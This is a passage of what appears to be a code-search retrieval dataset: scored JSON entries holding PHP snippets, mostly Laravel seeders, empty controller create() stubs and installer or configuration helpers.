create(){\n\t\t//\n\t}", "title": "" }, { "docid": "ed9cb17a7ae845022afd8ba30fedad53", "score": "0.57277924", "text": "public function create()\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t}", "title": "" }, { "docid": "ff1c09332231def6dcb3200aba3d6efa", "score": "0.5726212", "text": "public function run()\n {\n DompetStatus::create( [\n \t\t'id' =>1,\n \t\t'nama' =>'Aktif',\n \t\t'created_at'=>'2019-03-10 04:31:48',\n \t\t'updated_at'=>'2019-03-10 04:31:48'\n ] );\n \n DompetStatus::create( [\n \t\t'id' =>2,\n \t\t'nama' =>'Tidak Aktif',\n \t\t'created_at'=>'2019-03-10 04:31:48',\n \t\t'updated_at'=>'2019-03-10 04:31:48'\n\t\t] );\n }", "title": "" }, { "docid": "720aef16c78f15746547fbd488f7ffdb", "score": "0.57250744", "text": "public function run()\n {\n $types = ['спонсор', 'друг'];\n\n foreach ($types as $value) {\n $type = new ServiceType();\n $type->service_type_name = $value;\n $type->save();\n }\n }", "title": "" }, { "docid": "a00a0337fa7d62b98d9b853872af700a", "score": "0.57096964", "text": "public function run()\n {\n //\n $estatus = new Estatuspagos();\n $estatus->name =\"Aprobada\";\n $estatus->descripcion =\"Fue aprobado el pago\";\n $estatus->save();\n\n $estatus = new Estatuspagos();\n $estatus->name =\"Rechazada\";\n $estatus->descripcion =\"Fue rechazado el pago\";\n $estatus->save();\n\n $estatus = new Estatuspagos();\n $estatus->name =\"Pendiente\";\n $estatus->descripcion =\"Aún por aprobar el pago\";\n $estatus->save();\n }", "title": "" }, { "docid": "d5da35d588259fb9557c170d83297db0", "score": "0.5697496", "text": "public function run()\n {\n Estatus::create(['nombre' => 'activo']);\n Estatus::create(['nombre' => 'inactivo']);\n }", "title": "" }, { "docid": "9b7511fc1991f5c71ec9239dc1f62735", "score": "0.56970173", "text": "public function create()\n {\n //front-end only\n }", "title": "" }, { "docid": "76720424d756bed1db9fe268dc437f3c", "score": "0.56946164", "text": "public function create()\n {\n return view(\"admin.service.create\");\n }", "title": "" }, { "docid": "5cdf376c1b4f9f7e2ffce4e3e3da8ed7", "score": "0.5686189", "text": "public function run()\n {\n $ownershipstatus = new Ownershipstatus();\n $ownershipstatus->ownershipstatus_name='Father';\n $ownershipstatus->save();\n\n $ownershipstatus = new Ownershipstatus();\n $ownershipstatus->ownershipstatus_name='Mother';\n $ownershipstatus->save();\n\n $ownershipstatus = new Ownershipstatus();\n $ownershipstatus->ownershipstatus_name='Guardian';\n $ownershipstatus->save();\n\n $ownershipstatus = new Ownershipstatus();\n $ownershipstatus->ownershipstatus_name='Other';\n $ownershipstatus->save();\n }", "title": "" }, { "docid": "1f879362c46293ec7630d1c220e28f4e", "score": "0.5674899", "text": "public function create()\n {\n // No contemplar, usar Store Directamento\n }", "title": "" }, { "docid": "f8fe982c3819dcb225a9044e6597a6a4", "score": "0.56719744", "text": "public function create()\n {\n //\n }", "title": "" }, { "docid": "f8fe982c3819dcb225a9044e6597a6a4", "score": "0.56719744", "text": "public function create()\n {\n //\n }", "title": "" }, { "docid": "f8fe982c3819dcb225a9044e6597a6a4", "score": "0.56719744", "text": "public function create()\n {\n //\n }", "title": "" }, { "docid": "f8fe982c3819dcb225a9044e6597a6a4", "score": "0.56719744", "text": "public function create()\n {\n //\n }", "title": "" }, { "docid": "f8fe982c3819dcb225a9044e6597a6a4", "score": "0.56719744", "text": "public function create()\n {\n //\n }", "title": "" }, { "docid": "f8fe982c3819dcb225a9044e6597a6a4", "score": "0.56719744", "text": "public function create()\n {\n //\n }", "title": "" }, { "docid": "1b0fe56951a826529cd485b13cda425e", "score": "0.56713885", "text": "public function run()\n {\n ClientType::create([\n 'name' => 'SEO Arquitectos',\n 'description' => 'Servicio de presencia online para estudios de arquitectura.'\n ]);\n }", "title": "" }, { "docid": "57b94327b65e6ece053183e6bd456990", "score": "0.56674993", "text": "public function actionCreate()\n {\n $model = new Service();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['index']);\n }\n\n $allTypes = Service::allTypeNames();\n $users = User::find()->all();\n $allUsers = ArrayHelper::map($users,'id','fullName');\n\n return $this->render('create', [\n 'model' => $model,\n 'allTypes' => $allTypes,\n 'allUsers' => $allUsers,\n ]);\n }", "title": "" }, { "docid": "edd3b2db900d69db74abfb63221dd3d9", "score": "0.56623685", "text": "public function run()\n {\n factory(App\\StatusOrder::class)->create(['name' => 'Abierta']);\n factory(App\\StatusOrder::class)->create(['name' => 'Cerrada']);\n factory(App\\StatusOrder::class)->create(['name' => 'Procesada']);\n factory(App\\StatusOrder::class)->create(['name' => 'En proceso']);\n factory(App\\StatusOrder::class)->create(['name' => 'Depachada']);\n }", "title": "" }, { "docid": "890fa7edec8eac1c62136a0d2bd00b13", "score": "0.56557095", "text": "public function __construct()\n {\n $this->login_history = new LoginHistory_Entity();\n $this->todo = new TodoList_Entity(); \n $this->utils = new UtilsService(); \n }", "title": "" }, { "docid": "e498c1dfd291b1e26942278d34a9a3ba", "score": "0.56553316", "text": "public function create() {\n \n }", "title": "" }, { "docid": "e498c1dfd291b1e26942278d34a9a3ba", "score": "0.56553316", "text": "public function create() {\n \n }", "title": "" }, { "docid": "e498c1dfd291b1e26942278d34a9a3ba", "score": "0.56553316", "text": "public function create() {\n \n }", "title": "" }, { "docid": "e498c1dfd291b1e26942278d34a9a3ba", "score": "0.56553316", "text": "public function create() {\n \n }", "title": "" }, { "docid": "e498c1dfd291b1e26942278d34a9a3ba", "score": "0.56553316", "text": "public function create() {\n \n }", "title": "" }, { "docid": "1badd73b1d3bb41cc93dac0a08eb4028", "score": "0.56542796", "text": "public function run()\n {\n $orderStatus = new App\\OrderStatus();\n $orderStatus->name = \"Na čekanju.\";\n $orderStatus->save();\n\n $orderStatus = new App\\OrderStatus();\n $orderStatus->name = \"Porudzbina poslata.\";\n $orderStatus->save();\n\n $orderStatus = new App\\OrderStatus();\n $orderStatus->name = \"Porudzbina dostavljena\";\n $orderStatus->save();\n }", "title": "" }, { "docid": "61c290c385eff2e3fc073dab82e54ebe", "score": "0.56538194", "text": "public function run()\n {\n Model::unguard();\n\n $ChartOfAccountClass = ChartOfAccountClass::create([\n 'name' => 'Assets',\n 'code' => 'AST',\n 'position' => 'Activa',\n 'status' => 1,\n 'uuid' => Str::uuid(),\n ]);\n $ChartOfAccountClass = ChartOfAccountClass::create([\n 'name' => 'Liabilities',\n 'code' => 'LBL',\n 'position' => 'Passiva',\n 'status' => 1,\n 'uuid' => Str::uuid(),\n ]);\n $ChartOfAccountClass = ChartOfAccountClass::create([\n 'name' => 'Equity',\n 'position' => 'Passiva',\n 'code' => 'EQ',\n 'status' => 1,\n 'uuid' => Str::uuid(),\n ]);\n $ChartOfAccountClass = ChartOfAccountClass::create([\n 'name' => 'Income',\n 'position' => 'Passiva',\n 'code' => 'INC',\n 'status' => 1,\n 'uuid' => Str::uuid(),\n ]);\n $ChartOfAccountClass = ChartOfAccountClass::create([\n 'name' => 'Expense',\n 'code' => 'EXP',\n 'position' => 'Activa',\n 'status' => 1,\n 'uuid' => Str::uuid(),\n ]);\n }", "title": "" }, { "docid": "bad789e788affb91356b7d851f937f70", "score": "0.565346", "text": "public function __construct(){\n $this->WebServiceModel = new WebService();\n }", "title": "" }, { "docid": "a7af95812586e8fe7f606fe4fb7e9d78", "score": "0.56527376", "text": "public function create() {\n }", "title": "" }, { "docid": "a7af95812586e8fe7f606fe4fb7e9d78", "score": "0.56527376", "text": "public function create() {\n }", "title": "" }, { "docid": "a7af95812586e8fe7f606fe4fb7e9d78", "score": "0.56527376", "text": "public function create() {\n }", "title": "" }, { "docid": "a7af95812586e8fe7f606fe4fb7e9d78", "score": "0.56527376", "text": "public function create() {\n }", "title": "" }, { "docid": "a7af95812586e8fe7f606fe4fb7e9d78", "score": "0.56527376", "text": "public function create() {\n }", "title": "" }, { "docid": "fecf43110f134cd7e3181419b47169d9", "score": "0.5650124", "text": "public function run()\n {\n /*\n * Default Statuses\n */\n Status::factory()->waiting()->create();\n Status::factory()->approved()->create();\n Status::factory()->inprogress()->create();\n Status::factory()->completed()->create();\n Status::factory()->rejected()->create();\n }", "title": "" }, { "docid": "1bcd4dff2c5a4d1764329a3a1f12ec4a", "score": "0.5647593", "text": "public function create()\n\t {\n\t //\n\t }", "title": "" }, { "docid": "53b3b185c6555ab9aee26431f76eb7b7", "score": "0.5645276", "text": "public function create()\n {\n }", "title": "" }, { "docid": "652a1adeba97cfc87599ba0957349f1d", "score": "0.5643193", "text": "public function create() {\n\n\t}", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "c5f5d7c1426ff622e27bda33f6841c42", "score": "0.5641249", "text": "public function create()\r\n {\r\n //\r\n }", "title": "" }, { "docid": "77f55e6099b30b483f9c17115526d653", "score": "0.5640839", "text": "protected function _setupServices()\n\t{\n\t\t$objS = Service::blank();\n\t\t$now = Date::toSql();\n\n\t\t$default1 = array(\n\t\t\t'id' => 0,\n\t\t\t'title' => Lang::txt('Employer Service, Basic'),\n\t\t\t'category' => strtolower(Lang::txt('jobs')),\n\t\t\t'alias' => Lang::txt('employer_basic'),\n\t\t\t'status' => 1,\n\t\t\t'description' => Lang::txt('Allows to search member resumes and post one job ad'),\n\t\t\t'unitprice' => '0.00',\n\t\t\t'pointprice' => 0,\n\t\t\t'currency' => '$',\n\t\t\t'maxunits' => 6,\n\t\t\t'minunits' => 1,\n\t\t\t'unitsize' => 1,\n\t\t\t'unitmeasure' => strtolower(Lang::txt('month')),\n\t\t\t'changed' => $now,\n\t\t\t'params' => \"promo=First 3 months FREE\\npromomaxunits=3\\nmaxads=1\"\n\t\t);\n\t\t$default2 = array(\n\t\t\t'id' => 0,\n\t\t\t'title' => Lang::txt('Employer Service, Premium'),\n\t\t\t'category' => strtolower(Lang::txt('jobs')),\n\t\t\t'alias' => Lang::txt('employer_premium'),\n\t\t\t'status' => 0,\n\t\t\t'description' => Lang::txt('Allows to search member resumes and post up to 3 job ads'),\n\t\t\t'unitprice' => '500.00',\n\t\t\t'pointprice' => 0,\n\t\t\t'currency' => '$',\n\t\t\t'maxunits' => 6,\n\t\t\t'minunits' => 1,\n\t\t\t'unitsize' => 1,\n\t\t\t'unitmeasure' => strtolower(Lang::txt('month')),\n\t\t\t'changed' => $now,\n\t\t\t'params' => \"promo=\\npromomaxunits=\\nmaxads=3\"\n\t\t);\n\n\t\t$objS->set($default1);\n\n\t\tif (!$objS->save())\n\t\t{\n\t\t\tApp::redirect(\n\t\t\t\tRoute::url('index.php?option=com_jobs'),\n\t\t\t\t$objS->getError(), 'error'\n\t\t\t);\n\t\t}\n\n\t\t$objS->bind($default2);\n\n\t\tif (!$objS->save())\n\t\t{\n\t\t\tApp::redirect(\n\t\t\t\tRoute::url('index.php?option=com_jobs'),\n\t\t\t\t$objS->getError(), 'error'\n\t\t\t);\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "124745fe75f899a64f5f4b7a6f8dfba3", "score": "0.56376976", "text": "public function create()\n\t{\n\t\t//This is create part\n\t}", "title": "" }, { "docid": "ba541e66f2ef9ba92cb3e0f6ac0a6392", "score": "0.56362987", "text": "public function run()\n {\n if (!AbuseStatus::where('id', 1)->first()) {\n AbuseStatus::create([\n 'id' => 1,\n 'name' => 'Не рассмотрена',\n ]);\n }\n if (!AbuseStatus::where('id', 2)->first()) {\n AbuseStatus::create([\n 'id' => 2,\n 'name' => 'Рассмотрена',\n ]);\n }\n\n if (!AbuseStatus::where('id', 3)->first()) {\n AbuseStatus::create([\n 'id' => 3,\n 'name' => 'Удовлетворена',\n ]);\n }\n }", "title": "" }, { "docid": "c79d3f70cc8f0d6db6684e75c090e0e3", "score": "0.5635592", "text": "public function run()\n {\n // factory(Status::class, 3)->create();\n\n Status::create([\n \"name\" => \"Open\",\n \"color\" => \"#000\"\n ]);\n\n Status::create([\n \"name\" => \"Doing\",\n \"color\" => \"#000\"\n ]);\n\n Status::create([\n \"name\" => \"Resolved\",\n \"color\" => \"#000\"\n ]);\n\n Status::create([\n \"name\" => \"Closed\",\n \"color\" => \"#000\"\n ]);\n\n }", "title": "" }, { "docid": "476a9f747ac18934c941b85df8ad93ee", "score": "0.5635437", "text": "public function create()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "476a9f747ac18934c941b85df8ad93ee", "score": "0.5635437", "text": "public function create()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "128cf5e278e6c2b1802ebcc3e70bad03", "score": "0.5635165", "text": "public function create()\n\t{\n\t\t \n\n\t\t$entries = ProductService::where('type', 'service')->paginate(5);\n\n\t\t$this->layout->title = 'Unos nove usluge | BillingCRM';\n\n\t\t$this->layout->css_files = array(\n\t\t\t'css/backend/summernote.css'\n\t\t\t);\n\n\t\t$this->layout->js_footer_files = array(\n\t\t\t'js/backend/bootstrap-filestyle.min.js',\n\t\t\t'js/backend/summernote.js',\n\t\t\t'js/backend/jquery.stringtoslug.min.js',\n\t\t\t'js/backend/speakingurl.min.js'\n\t\t);\n\n\t\t$this->layout->content = View::make('backend.service.create', compact('entries'));\n\t}", "title": "" }, { "docid": "25427e7ec08c1de0da01108a8ad13c90", "score": "0.5629606", "text": "public function run()\n {\n $serviceCodes = [\n \"PHT\" => 'Photo',\n \"DRSS\" => 'Dress',\n \"STD\" => 'Studio',\n \"NC\" => 'Nhẫn cưới',\n \"QUAC\" => 'Quả cưới',\n \"TC\" => 'Thiệp cưới',\n \"TRTR\" => 'Trang trí',\n \"REST\" => 'Nhà hàng',\n \"HNM\" => 'Honey moon(Travaler)',\n \"XC\" => 'Xe cưới',\n \"VN\" => 'Văn nghệ'\n ];\n\n foreach ($serviceCodes as $code => $name) {\n factory(MasterService::class)->create([\n 'service_code' => $code,\n 'service_name' => $name\n ]);\n }\n }", "title": "" } ]
8633bd117c2224c7636e1ab65b171752
Updates the homestead.yaml file to include the new folder.
[ { "docid": "24a28086dbb3f6305145d66d50a6f60f", "score": "0.5979394", "text": "protected function updateHomesteadConfig($originalGroup, $newGroup)\n {\n $config = $this->yaml->parse($this->filesystem->get(setting('userDir') . '/.homestead/Homestead.yaml'));\n\n // Check the folders to see if we need to change anything.\n foreach ($config['folders'] as $key => $homesteadGroup) {\n if ($homesteadGroup['map'] == $originalGroup->starting_path) {\n $config['folders'][$key] = [\n 'map' => $newGroup->starting_path,\n 'to' => vagrantDirectory($newGroup->starting_path)\n ];\n }\n }\n foreach ($config['sites'] as $key => $homesteadSite) {\n $originalPath = vagrantDirectory($originalGroup->starting_path);\n\n if (strpos($homesteadSite['to'], $originalPath) !== false) {\n $newPath = vagrantDirectory($newGroup->starting_path);\n\n $config['sites'][$key]['to'] = str_replace($originalPath, $newPath, $config['sites'][$key]['to']);\n }\n }\n\n app(Homestead::class)->saveHomesteadConfig($config);\n }", "title": "" } ]
[ { "docid": "84d7c81b1c65b665d8d39f19172efc73", "score": "0.66771513", "text": "protected function updateHomesteadConfig($group)\n {\n $config = $this->yaml->parse($this->filesystem->get(setting('userDir') . '/.homestead/Homestead.yaml'));\n\n // Add the group to the folder config\n $config['folders'][] = [\n 'map' => $group->starting_path,\n 'to' => vagrantDirectory($group->starting_path),\n ];\n\n app(Homestead::class)->saveHomesteadConfig($config);\n }", "title": "" }, { "docid": "8c0d20dfa155009bd93a89b8f8e2e0f4", "score": "0.5963379", "text": "protected static function updateWelcomePage(): void\n {\n File::delete(resource_path('views/welcome.blade.php'));\n File::copy(self::STUBSPATH.'/resources/views/welcome.blade.php', resource_path('views/welcome.blade.php'));\n }", "title": "" }, { "docid": "41092678ec2d4ee0bebd5861e3854503", "score": "0.59521157", "text": "protected static function updateWelcomePage()\n {\n copy(__DIR__ . '/stubs/resources/views/welcome.blade.php', resource_path('views/welcome.blade.php'));\n }", "title": "" }, { "docid": "af954ff4d97582e7b21e796d1c5495a2", "score": "0.5794656", "text": "protected static function updateDashboardPage()\n {\n // remove default welcome page\n static::deleteResource(('views/home.blade.php'));\n\n // copy new one from your stubs folder\n static::copyFile('resources/views/home.blade.php', resource_path('views/home.blade.php'));\n }", "title": "" }, { "docid": "565251f5ad063fba2deb859b69c7499e", "score": "0.5647192", "text": "protected static function updateWelcomePage()\n {\n // remove default welcome page\n static::deleteResource(('views/welcome.blade.php'));\n\n // copy new one from your stubs folder\n static::copyFile('resources/views/welcome.blade.php', resource_path('views/welcome.blade.php'));\n }", "title": "" }, { "docid": "dbd578146eadb52d94b280f5b9bb1c7e", "score": "0.5506641", "text": "public static function updateBladeViews()\n {\n if (!File::isDirectory(resource_path('views/buefy'))) {\n File::makeDirectory(resource_path('views/buefy'));\n } else {\n File::cleanDirectory(resource_path('views/buefy'));\n }\n\n File::makeDirectory(resource_path('views/buefy/layouts'));\n File::makeDirectory(resource_path('views/buefy/shared'));\n\n copy(__DIR__ . '/stubs/views/layouts/app.blade.php', resource_path('views/buefy/layouts/app.blade.php'));\n copy(__DIR__ . '/stubs/views/shared/bulma-nav.blade.php', resource_path('views/buefy/shared/bulma-nav.blade.php'));\n copy(__DIR__ . '/stubs/views/welcome.blade.php', resource_path('views/buefy/welcome.blade.php'));\n\n static::$command->info('Blade View Directory: resources/views/buefy');\n }", "title": "" }, { "docid": "a221321738aee291457974353cd3caaa", "score": "0.5380565", "text": "public function createConfigurationDirectory(): void\n {\n $this->files->ensureDirExists(preg_replace('~/valet$~', '', VALET_HOME_PATH), user());\n $this->files->ensureDirExists(VALET_HOME_PATH, user());\n }", "title": "" }, { "docid": "2d40747d84e80ab3f00a1c72564620cf", "score": "0.525881", "text": "function updateFolder()\n {\n }", "title": "" }, { "docid": "6da4b423d698254c0aa83cb8a6199063", "score": "0.5179657", "text": "public function createSitesDirectory(): void\n {\n $this->files->ensureDirExists(VALET_HOME_PATH.'/Sites', user());\n }", "title": "" }, { "docid": "868fc2fb3d3000a0989c9d5c849687b8", "score": "0.51602256", "text": "public static function changeDir()\r\n\t\t{\r\n\t\t\tif(is_dir('site/files' . $_POST['switchTo'])){\r\n\t\t\t\t$_SESSION['assetManager']['folder'] = $_POST['switchTo'];\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "74e77cdcec621a68899a3e7bdf5a933c", "score": "0.51401514", "text": "public function setCorrectViewsFolder()\n {\n /** @var $shopContext \\Shopware\\Models\\Shop\\Shop */\n $shopContext = $this->container->get('bootstrap')->getResource('shop');\n $templateVersion = $shopContext->getTemplate()->getVersion();\n\n $this->container->get('template')->addTemplateDir($this->path . 'Views/');\n }", "title": "" }, { "docid": "24cb52ec77bac80d49bc3805cbc96aaa", "score": "0.50934523", "text": "public function updateYaml($path)\n {\n $path = Path::resolve($path ?? $this->newPath);\n\n $this->saveMigratedYaml($this->getSourceYaml($path), $path);\n }", "title": "" }, { "docid": "9035bd3f9e5dbeed200a2df1f5f7b965", "score": "0.50402933", "text": "protected static function updateLayoutViews(): void\n {\n File::deleteDirectory(resource_path('views/layouts'));\n File::copyDirectory(self::STUBSPATH.'/resources/views/layouts', resource_path('views/layouts'));\n }", "title": "" }, { "docid": "f5cddcc9e34bd01cd5a9953b93137db7", "score": "0.5018366", "text": "public static function updateGitignore()\n {\n File::append(base_path('.gitignore'), \"/public/js\\n/public/css\\n/public/mix-manifest.json\\n\");\n }", "title": "" }, { "docid": "f8310a3e951336d38977a199497741cc", "score": "0.50018144", "text": "public function index(){\n\t\t$yamlcontent = Yaml::parse(file_get_contents('homepageconfig.yml'));\n return view('pages.index')->with('ymlcontent', $yamlcontent);\n }", "title": "" }, { "docid": "5219af3afeb745e6b72b1f1900cf7b31", "score": "0.49578702", "text": "public function generateConfig()\n {\n trigger_deprecation('kunstmaan/generator-bundle', '6.2', 'Method \"%s\" is deprecated and will be removed.', __METHOD__);\n\n if ($this->isSymfony4()) {\n return;\n }\n\n $configFile = $this->rootDir . '/app/config/config.yml';\n $config = file_get_contents($configFile);\n\n $data = Yaml::parse($config);\n if (!array_key_exists('white_october_pagerfanta', $data)) {\n $ymlData = \"\\n\\nwhite_october_pagerfanta:\";\n $ymlData .= \"\\n default_view: twitter_bootstrap\\n\";\n file_put_contents($configFile, $ymlData, FILE_APPEND);\n }\n }", "title": "" }, { "docid": "4f76f47253be810f5d2399929380ca29", "score": "0.49237818", "text": "protected function updateHtAccessFile()\n {\n $htaccess_file = get_home_path() . '.htaccess';\n if ($this->createIfNotExist($htaccess_file) === false) {\n $this->addSettingsMessage(sprintf(__('%s does not exists or is not writable.', self::TEXT_DOMAIN), $htaccess_file));\n return;\n }\n $section = $this->getSettingsAsArray();\n $this->addSettingsMessage(__('Settings updated and stored in .htaccess', self::TEXT_DOMAIN), 'updated');\n self::addMarker($htaccess_file, 'CUSTOM PHP SETTINGS', $section);\n }", "title": "" }, { "docid": "768bf4b4ddff0c36de0faede56aaf9c0", "score": "0.49217227", "text": "protected function setUp()\n {\n $filesystem = new Filesystem();\n $configDir = __DIR__.'./../src/config/artisan-vue.php';\n $configTarget = __DIR__.'./../vendor/laravel/laravel/config/artisan-vue.php';\n $filesystem->copy($configDir, $configTarget);\n parent::setUp();\n }", "title": "" }, { "docid": "1fe3cb1fe0b164bb1fa8bc4946457ecc", "score": "0.49163637", "text": "public function goToUpdatePage()\n {\n include APP_ROOT . '/views/menu.php';\n include APP_ROOT . '/views/changeUserData.php';\n }", "title": "" }, { "docid": "13dfa14392480c9e76c2ebdedebf36b6", "score": "0.48917243", "text": "private function mergeIntoLaravel()\n {\n $this->config->set('filesystems.disks', $this->disks);\n }", "title": "" }, { "docid": "6dcaf48291cde52383f22bb050e0496e", "score": "0.48851886", "text": "public static function freshenVirtualFilesystem() {\n \\vfsStream::copyFromFileSystem(__DIR__ . DIRECTORY_SEPARATOR . \"fixtures\" . DIRECTORY_SEPARATOR . \"SettingsTest\", self::$vfsRoot);\n // And fix broken permissions\n \\vfsStream::inspect(new \\vfsStreamPermissionsVisitor());\n }", "title": "" }, { "docid": "d5d939948548fb3e737879fc62330d67", "score": "0.48839247", "text": "private function setTemplateFolderPath(){\n $this->TemplateFolderPath = dirname(__DIR__) . DIRECTORY_SEPARATOR . \"frontend\" . DIRECTORY_SEPARATOR . \"templates\" . DIRECTORY_SEPARATOR;\n }", "title": "" }, { "docid": "8356ce1a59a21ec71aaf52214d321f22", "score": "0.48707384", "text": "protected function installLivewireTeamStack()\n {\n // Directories...\n (new Filesystem)->ensureDirectoryExists(resource_path('views/teams'));\n\n // Other Views...\n (new Filesystem)->copyDirectory(__DIR__.'/../../../stubs/v4/livewire/resources/views/teams', resource_path('views/teams'));\n }", "title": "" }, { "docid": "167e9d3163037183214fdcb924e7ad95", "score": "0.48659784", "text": "private function createDirectory(): void\n {\n if (!File::isDirectory(config('laravel-faker-generator.faker_path'))) {\n File::makeDirectory(config('laravel-faker-generator.faker_path'));\n }\n }", "title": "" }, { "docid": "e1cb8b394ab5f9e87d8f059dec2ad9d6", "score": "0.48415217", "text": "public function replaceWorkDirectory()\n {\n\n }", "title": "" }, { "docid": "b87c0a13ebf1f010a82b7a2db50ae807", "score": "0.48393214", "text": "public function run()\n {\n Storage::disk(\"user_images\")->put(\"example-profile-image.png\",Storage::disk(\"storage\")->get(\"fixtures/example-profile-image.png\"));\n Storage::disk(\"user_images\")->put(\"exemple-permis-conduire.png\",Storage::disk(\"storage\")->get(\"fixtures/exemple-permis-conduire.png\"));\n }", "title": "" }, { "docid": "f3d6549a2ddc8eb770d826a685c2e1b1", "score": "0.48380587", "text": "public function regenerate_directory_contents() {\n\t\t$this->files_and_folders = $this->get_dir_contents( $this->path_to_includes );\n\t\t$this->update_files_and_folders_version( $this->files_version );\n\t\tself::$files_and_folders_version = $this->files_version;\n\t\t\n\t\t$this->update_includes_real_path( $this->path_to_includes );\n\t\tself::$saved_includes_real_path = $this->path_to_includes;\n\t}", "title": "" }, { "docid": "d1c344e64b5f7a2f03f6ed5accdf2c2e", "score": "0.4832114", "text": "private function updateMapping($value = array()){\n\n $array = array('home' => $value['home'], \n 'features' => $value['features'],\n 'about' => $value['about'],\n 'contact' => $value['contact']);\n\n $dumper = new Dumper();\n\n $yaml = $dumper->dump($array);\n // $yaml = $dumper->dump($array);\n\n file_put_contents('%kernel.root_dir%/../configuration/basicconfig.yml', $yaml);\n\n return true;\n }", "title": "" }, { "docid": "56cb4758acab44dd8d917d57539728a6", "score": "0.4830472", "text": "protected static function updateLayoutViews()\n {\n // copy new one from your stubs folder\n static::copyDirectory('resources/views/layouts', resource_path('views/layouts'));\n static::copyDirectory('resources/views/pages', resource_path('views/pages'));\n }", "title": "" }, { "docid": "14425367baea7f0612df153ed4604bd1", "score": "0.48209462", "text": "protected function installInertiaTeamStack()\n {\n // Directories...\n (new Filesystem)->ensureDirectoryExists(resource_path('js/Pages/Profile'));\n\n // Pages...\n (new Filesystem)->copyDirectory(__DIR__.'/../../../stubs/v4/inertia/resources/js/Pages/Teams', resource_path('js/Pages/Teams'));\n }", "title": "" }, { "docid": "d207fd47130008f6a7ff567786b466fe", "score": "0.48060724", "text": "protected function copyHomepageViewToApplication()\n {\n $target = $this->__DIR__ . '/../../../views/installer/index-post-install.blade.php';\n $source = $this->base_path . '/resources/views/homepage.blade.php';\n\n if (!$this->File->exists($source))\n {\n $this->File->copy($target, $source);\n }\n }", "title": "" }, { "docid": "9f4494a7fa9bb62fe8060027d1983278", "score": "0.48024446", "text": "protected function reconfigure()\n {\n $stubsPath = Helpers::getStubsPath();\n\n // Copy stubs\n (new Filesystem())->copyDirectory($stubsPath.'/resources/views', resource_path('views'));\n (new Filesystem())->copyDirectory($stubsPath.'/app/Models', app_path('Models'));\n (new Filesystem())->copyDirectory($stubsPath.'/tests', base_path('tests'));\n\n // Install Helper Provider...\n // (new Filesystem)->ensureDirectoryExists(app_path('Helpers'));\n (new Filesystem())->copyDirectory($stubsPath.'/app/Helpers', app_path('Helpers'));\n (new Filesystem())->copy($stubsPath.'/app/Providers/HelperServiceProvider.php', app_path('Providers/HelperServiceProvider.php'));\n Helpers::installServiceProviderAfter('RouteServiceProvider', 'HelperServiceProvider');\n\n // Restructure status alerts\n if ((new Filesystem())->exists(resource_path('/views/components/auth-session-status.blade.php'))) {\n (new Filesystem())->delete(resource_path('/views/components/auth-session-status.blade.php'));\n }\n if ((new Filesystem())->exists(resource_path('/views/components/auth-validation-errors.blade.php'))) {\n (new Filesystem())->delete(resource_path('/views/components/auth-validation-errors.blade.php'));\n }\n }", "title": "" }, { "docid": "f3667650bd6f279ff3786da99383cde3", "score": "0.47832066", "text": "protected function afterInstall(): void\n {\n $configSource = __DIR__ . DIRECTORY_SEPARATOR . 'config.example.php';\n $configTarget = \\Craft::$app->getConfig()->configDir . DIRECTORY_SEPARATOR . 'envfile.php';\n\n if (! file_exists($configTarget)) {\n copy($configSource, $configTarget);\n }\n }", "title": "" }, { "docid": "8badbe80249d0aeb6b4bc5678332106c", "score": "0.47666594", "text": "protected function updateIniFile()\n {\n $ini_file = get_home_path() . $this->userIniFileName;\n if ($this->createIfNotExist($ini_file) === false) {\n $this->addSettingsMessage(sprintf(__('%s does not exists or is not writable.', self::TEXT_DOMAIN), $ini_file));\n return;\n }\n $section = $this->getSettingsAsArray();\n $message = sprintf(__('Settings updated and stored in %s.', self::TEXT_DOMAIN), $this->userIniFileName);\n $this->addSettingsMessage($message, 'updated');\n self::addMarker($ini_file, 'CUSTOM PHP SETTINGS', $section, ';');\n }", "title": "" }, { "docid": "73f2a74bc48489e809bacb2095c1fd75", "score": "0.476609", "text": "public static function directory()\n {\n return config('changelog.directory_name', 'changelog');\n }", "title": "" }, { "docid": "3a77720db143dc7ff5df616b3132df2e", "score": "0.47649378", "text": "private function updateReadme()\n {\n $this->climate()->out('Updating the README.md file...');\n\n $newReadme = file_get_contents($this->rootPath.'build/README.md.post-install');\n\n $newReadme = preg_replace('~<project-name>~i', $this->projectName(), $newReadme);\n\n $repo = $this->projectRepo();\n\n if (!$repo) {\n $repo = shell_exec('git config --get remote.origin.url');\n }\n $newReadme = preg_replace('~<project-repo-name>~i', $repo, $newReadme);\n\n file_put_contents($this->rootPath.'README.md', $newReadme);\n }", "title": "" }, { "docid": "ad069aaae0ce0c457afd6dea577480ad", "score": "0.47647813", "text": "protected function setConfFiles() {\n $current_dir = basename(getcwd());\n $project_name = $this->io->ask('Please enter the project name (default to ' . $current_dir . '): ', $current_dir);\n $theme_name = str_replace('-', '_', 